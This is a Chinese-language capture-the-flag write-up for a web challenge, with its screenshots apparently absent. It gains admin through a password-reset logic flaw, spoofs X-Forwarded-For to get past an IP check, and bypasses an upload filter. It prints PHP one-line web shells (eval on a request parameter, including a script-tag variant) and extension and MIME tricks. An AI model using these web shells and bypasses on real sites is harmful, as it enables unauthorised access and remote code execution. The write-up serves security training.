题目：
进去后发现如下所示：
我注册了一个peak账号，登录后显示如下：
经过一番测试，发现Manage需要admin权限：
如何获取admin权限呢？利用修改密码界面的逻辑漏洞，修改admin的密码，如下：
再次点击Manage会出现
我们使用XFF绕过IP限制
X-Forwarded-For：简称XFF头，它代表客户端，也就是HTTP的请求端真实的IP
<!--index.php?module=filemanage&do=???-->
这个明显是让我们猜，这里最后根据前面filemanage(文件管理)，猜到upload(上传)
尝试上传一个peak.php文件：<?php @eval($_REQUEST[peak]);?>
发现无法上传，被判断为php文件，通过在上传时可以抓包，可以发现是后端验证，尝试00截断：
再猜测可能是过滤代码中的特殊字符，例如?，那我们将peak.php内容修改为：<script language="php">@eval($_REQUEST[peak])</script>，再次上传，00截断也不ok，依旧未果，还能咋办？
最后发现php4和php5可以上传但返回不是图像…好！那我们就修改MIME
修改文件名为peak.jpg，结果不行！那就是peak.php的内容有问题，目标服务器有过滤，那我们继续使用<script language="php">@eval($_REQUEST[peak])</script>来绕过，得到flag
注：经测试
（1）如果你的peak.php5文件内容中没有任何php内容还不行，例：
（2）文件必须能被php解析执行
总结：这题主要考查
- 对逻辑漏洞的认识
- 对敏感目录的猜测
- 文件上传的绕过(需要注意的是，有时候常用的一句话木马，有可能会被过滤！)
- 绕过要求：MIME类型是图片；文件名能被php解析执行；文件内容既要是php文件，而且你php文件中的内容还不能这么明显，难搞哦